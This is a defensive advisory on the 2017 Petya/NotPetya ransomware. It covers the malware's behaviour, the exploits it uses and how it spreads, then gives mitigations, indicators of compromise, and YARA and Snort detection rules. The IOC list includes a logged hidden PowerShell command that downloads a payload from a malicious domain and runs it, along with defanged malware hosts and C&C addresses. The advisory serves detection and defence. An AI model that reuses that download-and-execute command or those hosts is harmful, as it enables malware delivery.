Petya / GoldenEye / ExPetr Ransomware Crisis

What is Ransomware? Ransomware is a malicious software that encrypts the files and locks device, such as a computer, tablet or smartphone and then demands a ransom to unlock it. Recently, a dangerous ransomware named 'Petya' has been affecting the computers worldwide creating the highly targeted ransomware attack the world has ever seen. This has affected a computers in India also.

What is Petya Ransomware? Petya / Petrwrap / NotPetya / GoldenEye / ExPetr (assigned by Kaspersky labs) is a ransomware virus that affects Microsoft Windows based systems. This ransomware outbreak, though smaller than the previous WannaCry attack, has had a considerable impact. This is a new version of the previously known Petya ransomware virus. It demands payment in bitcoin wallet and contains a personal Posteo email ID, wowsmith123456@posteo.net. It demands a ransom of $300 worth of Bitcoins.

What makes it dangerous? Unlike other ransomware viruses, **it encrypts the Master File Table (MFT) for NTFS partition**s. Each file on an NTFS volume is represented by a record in a special file called the master file table (MFT). If the MFT is corrupted the file system structure on the disk becomes unusable. It also overwrites MBR (Master Boot Record) with a custom bootloader that shows a ransom note and prevents the victim from booting their computer. This means that **once a machine is infected it is in a complete state of lockdown**. This makes it more intrusive. In comparison, the WannaCry ransomware virus targeted only specific file extensions while still allowing the operating system access.

Also, unlike WannaCry, this ransomware **does not have a kill switch**. It also **has the capability to steal login credentials and spread laterally. This is of major concern if the ransomware virus lands on machines with administrative privileges.**

The above mentioned email ID has been shutdown, thus breaking the chain to obtain decryption keys for infected systems. **This implies that even after the ransom is paid (though not recommended), there's no recourse to save the infected machines**.

What vulnerabilities are exploited? It uses the previously known SMB vulnerability, CVE-2017-0143 / MS17-010 (Eternal Blue). As per various open source reports and CERT-IN advisory, it also uses the CVE-2017-199 office RTF vulnerability to download and run the Petya installer. It combines both client-based and network-based attack.

How does it spread? It uses EternalBlue MS17-010 to propagate. The ransomware spreads by clicking on links and downloading malicious files over internet and email. These emails contain malicious office documents which use the above mentioned vulnerability to download and run the Petya installer. The installer then executes the SMB exploit (EternalBlue) and spreads to new computers on the same network. It scans the network for specific ports, searches for the

vulnerability and then exploits it to inject the malware in the new machine and thus it spreads widely across the network. It is also being reported that the ransomware virus spreads by stealing login credentials using WMIC / PSExec tools. Another infection vector are the software updates published by a little-known Ukrainian firm, MeDoc.

It is also reported to spread via The EternalRomance exploit – a remote code execution exploit targeting Windows XP to Windows 2008 systems over TCP port 445.

What is its impact? So far the malware has been dominant in Ukraine. Incidents have also been reported in Russia, England, US, France, Norway, Israel, Poland, Germany, Italy, Belarus, Lithuania and India. It has affected various business outlets spread across multiple sectors. The affected entities include banks, telecom companies, metro railways, airports, power plants, oil plants, pharmaceutical companies, government departments, logistics companies, food conglomerates, law firms etc. It has also led to shutdown of shipping terminals across the world. A total of 2,000 machines are being reported to be infected by this virus across the world.

How to prevent infection? Users and administrators are advised to take the following preventive measures to protect their computer networks from ransomware infection / attacks:

- In order to prevent infection users and organizations are advised to apply patches to Windows systems as mentioned in Microsoft Security Bulletin MS17-010 (https://technet.microsoft.com/library/security/MS17-010) and June 2017 Security Update (https://portal.msrc.microsoft.com/en-us/security-guidance/releasenotedetail/40969d56-1b2a-e711-80db-000d3a32fc99_ This fixes the CVE-2017-0199
- Restrict execution of powershell /WSCRIPT/ PSEXEC / WMIC in enterprise environment Ensure installation and use of the latest version (currently v5.0) of PowerShell, with enhanced logging enabled. script block logging, and transcription enabled. Send the associated logs to a centralized log repository for monitoring and analysis.
- Create the read-only file C:\Windows\perfc.dat on computers. It prevents the file-scrambling part of the ransomware from running, but doesn't stop it spreading on the network.
- Microsoft Patch for Unsupported Versions such as Windows XP, Vista, Server 2003, Server 2008 etc. (http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598)
- To prevent data loss Users & Organisations are advised to take backup of Critical Data
- Block SMB ports on Enterprise Edge/perimeter network devices [UDP 137, 138 and TCP 139, 445] or Disable SMBv1. (https://support.microsoft.com/en-us/help/2696547)
- Restrict TCP ports 139 and 445 traffic to where it is absolutely needed using router ACLs
- Use private VLANs if your edge switches support this feature

- Use host based firewalls to limit communication on TCP ports 139 and 445, especially between workstations

Indicators of Compromise

Following are IOCs as reported by various security researchers (some of these are from unofficial sources and hence should be used with caution):

Email address associated with this ransomware: wowsmith123456(@)posteo(.)net

Ransomware spreading URL:

- hxxp://benkow(.)cc
- hxxp://Coffeinoffice(.)xyz
- hxxp://french-cooking(.)com
- hxxp://sundanders(.)online
- hxxp://casconut(.)xyz
- hxxp://blumbeerg(.)xyz
- hxxp://insurepol(.)in
- hxxp://whitefoam(.)org(.)uk
- hxxp://xfusion(.)co(.)uk
- hxxp://affliates(.)in
- hxxp://hyporus(.)in
- hxxp://dantan(.)club
- hxxp://kababmachatu(.)xyz
- hxxp://damodot(.)xyz
- hxxp://ballotvize(.)xyz

Bitcoin addresses: 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX

C&C payment servers:

- hxxp://mischapuk6hyrn72(.)onion/
- hxxp://petya3jxfp2f7g3i(.)onion/
- hxxp://petya3sen7dyko2n(.)onion/
- hxxp://mischa5xyix2mrhd(.)onion/MZ2MMJ
- hxxp://mischapuk6hyrn72(.)onion/MZ2MMJ
- hxxp://petya3jxfp2f7g3i(.)onion/MZ2MMJ
- hxxp://petya3sen7dyko2n(.)onion/MZ2MMJ

Possible IP address

- 185.165.29(.)78

- 84.200.16(.)242
- 111.90.139(.)247
- 95.141.115(.)108
- 89.146.220(.)134
- Malware dropped files: hxxp://185.165.29(.)78/~alex/svchost.exe

- **File Name Order-20062017.doc (RTF iз CVE-2017-0199)**
    - MD5 Hash Identifier 415FE69BF32634CA98FA07633F4118E1
    - SHA-1 Hash Identifier 101CC1CB56C407D5B9149F2C3B8523350D23BA84 SHA-256 Hash Identifier FE2E5D0543B4C8769E401EC216D78A5A3547DFD426FD47E097DF04A5F7D6D26 File Size 6215 bytes
    - File Type Rich Text Format data
    - Connects to the host: 84.200.16.242 80
- **File Name myguy.xls**
    - MD5 Hash Identifier 0487382A4DAF8EB9660F1C67E30F8B25
    - SHA-1 Hash Identifier 736752744122A0B5EE4B95DDAD634DD225DC0F73 SHA-256 Hash Identifier EE29B9C01318A1E23836B949942DB14D4811246FDAE2F41DF9F0DCD922C63B6 File Size 13893 bytes
    - File Type Zip archive data
    - mshta.exe %WINDIR%\System32\mshta.exe" "C:\myguy.xls.hta" " (PID: 2324) powershell.exe -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('h11p://https://www.linkedin.com/redir/invalid-link-page?url=french-cooking%2ecom%2Fmyguy%2eexe', '%APPDATA%\10807.exe');" (PID: 2588, Additional Context: (System.Net.WebClient).DownloadFile('h11p://https://www.linkedin.com/redir/invalid-link-page?url=french-cooking%2ecom%2Fmyguy%2eexe', '%APPDATA%\10807.exe') ;) 10807.exe %APPDATA%\10807.exe" " (PID: 3096)
- **File Name BCA9D6.exe**
    - MD5 Hash Identifier A1D5895F85751DFE67D19CCCB51B051A
    - SHA-1 Hash Identifier 9288FB8E96D419586FC8C595DD95353D48E8A060
    - SHA-256 Hash Identifier 17DACEDB6F0379A65160D73C0AE3AA1F03465AE75CB6AE754C7DCB3017AFFBD
    - File Size 275968 bytes

Following IOCs are reported by Kaspersky Labs:

- 71B6A493388E7D0B40C83CE903BC6B04
- 0df7179693755b810403a972f4466afb
- 42b2ff216d14c2c8387c8eabfb1ab7d0
- E595c02185d8e12be347915865270cca
- e285b6ce047015943e685e6638bd837e

Yara rules

```
rule ransomware_PetrWrap {
meta:
copyright = "Kaspersky Lab"
description = "Rule to detect PetrWrap ransomware samples"
last_modified = "2017-06-27"
author = "Kaspersky Lab"
hash = "71B6A493388E7D0B40C83CE903BC6B04"
version = "1.0"
strings:
$a1 =
"MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n
2JmURWV/uHB0ZrlQ/wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4G
RKxEEFLCy7vP12EYOPXknVy/+mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgq+CXsPwfITDbDD
mdrRIiUEUw6o3pt5pNOskfOJbMan2TZu" fullword wide
$a2 =
".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fd
b.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sl
n.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls" fullword wide
$a3 = "DESTROY ALL OF YOUR DATA! PLEASE ENSURE THAT YOUR POWER CABLE IS PLUGGED"
fullword ascii
$a4 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" fullword ascii
$a5 = "wowsmith123456@posteo.net." fullword wide
condition:
uint16(0) == 0x5A4D and
filesize < 1000000 and any of them }
```

Snort Rules

```
alert tcp any any -> $HOME_NET 445 (msg: "[PT Open] Unimplemented Trans2 Sub-Command
code. Possible ETERNALBLUE (WannaCry, Petya) tool"; flow: to_server, established; content:
```

"|FF|SMB2|00 00 00 00|"; depth: 9; offset: 4; byte_test: 2, >, 0x0008, 52, relative, little; pcre: "/\xFFSMB2\x00\x00\x00\x00.{52}(?:\x04|\x09|\x0A|\x0B|\x0C|\x0E|\x11)\x00/"; flowbits: set, SMB.Trans2.SubCommand.Unimplemented; reference: url, msdn.microsoft.com/enus/library/ee441654.aspx; classtype: attempted-admin; sid: 10001254; rev: 2;)

alert tcp any any -> $HOME_NET 445 (msg: "[PT Open] ETERNALBLUE (WannaCry, Petya) SMB MS Windows RCE"; flow: to_server, established; content: "|FF|SMB3|00 00 00 00|"; depth: 9; offset:4; flowbits: isset, SMB.Trans2.SubCommand.Unimplemented.Code0E; threshold: type limit, track by_src, seconds 60, count 1; reference: cve, 2017-0144; classtype: attempted-admin; sid: 10001255;rev: 3;)

alert tcp any any -> $HOME_NET 445 (msg: "[PT Open] Trans2 Sub-Command 0x0E. Likely ETERNALBLUE (WannaCry, Petya) tool"; flow: to_server, established; content: "|FF|SMB2|00 00 00 00|"; depth: 9; offset: 4; content: "|0E 00|"; distance: 52; within: 2; flowbits: set, SMB.Trans2.SubCommand.Unimplemented.Code0E; reference: url, msdn.microsoft.com/enus/library/ee441654.aspx; classtype: attempted-admin; sid: 10001256; rev: 2;)

alert tcp any any -> $HOME_NET 445 (msg: "[PT Open] Petya ransomware perfc.dat component"; flow: to_server, established, no_stream; content: "|fe 53 4d 42|"; offset: 4; depth: 4;content: "|05 00|"; offset: 16; depth: 2; byte_jump: 2, 112, little, from_beginning, post_offset 4;content: "|70 00 65 00 72 00 66 00 63 00 2e 00 64 00 61 00 74 00|"; distance:0; classtype:suspiciousfilename-detect; sid: 10001443; rev: 1;)

alert tcp any any -> $HOME_NET 445 (msg:"[PT Open] SMB2 Create PSEXESVC.EXE"; flow:to_server, established, no_stream; content: "|fe 53 4d 42|"; offset: 4; depth: 4; content: "|05 00|"; offset: 16; depth: 2; byte_jump: 2, 112, little, from_beginning, post_offset 4; content:"|50 00 53 00 45 00 58 00 45 00 53 00 56 00 43 00 2e 00 45 00 58 00 45|"; distance:0; classtype:suspiciousfilename-detect; sid: 10001444; rev:1;)

References:

- http://www.cyberswachhtakendra.gov.in/alerts/petya_ransomware.html
- https://securelist.com/schroedingers-petya/78870/
- http://fortune.com/2017/06/27/petya-ransomware-ukraine-medoc/
- https://www.wired.com/story/petya-ransomware-wannacry-mistakes/
- https://www.nytimes.com/2017/06/27/technology/ransomware-hackers.html
- https://www.malwaretech.com/2017/06/petya-ransomware-attack-whats-known.html

- https://blog.kryptoslogic.com/malware/2017/06/28/petya.html
- https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/
- https://www.bleepingcomputer.com/news/security/vaccine-not-killswitch-found-for-petya-notpetya-ransomware-outbreak/

This article will be updated as and when more information about the attack becomes available.